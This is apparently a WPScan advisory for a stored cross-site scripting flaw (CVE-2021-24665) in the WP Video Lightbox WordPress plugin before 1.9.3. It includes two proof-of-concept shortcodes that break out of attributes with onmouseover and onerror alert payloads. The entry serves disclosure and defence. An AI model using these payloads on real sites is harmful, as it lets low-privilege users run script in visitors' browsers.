WordPress Plugin Vulnerabilities

WP Video Lightbox < 1.9.3 - Contributor+ Stored Cross-Site Scripting

Description

The plugin does not escape the attributes of its shortcodes, allowing users with a role as low as contributor to perform Cross-Site Scripting attacks

Proof of Concept

[video_lightbox_vimeo5 video_id='"onmouseover=alert(/XSS/) b="' width="640" height="480" anchor="Click here to open vimeo video"]

[video_lightbox_vimeo5 video_id="13562192" width="640" height="480" anchor='http"onerror=alert(/XSS/)//']

Affects Plugins

wp-video-lightbox

Fixed in version 1.9.3

References

CVE

CVE-2021-24665

URL

https://www.fortiguard.com/zeroday/FG-VD-21-059

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

Vishnupriya Ilango of Fortinet Fortiguard Labs

Submitter

Vishnupriya Ilango

Submitter website

https://www.fortiguard.com/zeroday

Verified

Yes

WPVDB ID

42a8947f-2ae5-4f12-bd3d-ab3716501df5

Timeline

Publicly Published

2021-08-23 (about 1 years ago)

Added

2021-08-23 (about 1 years ago)

Last Updated

2022-03-07 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin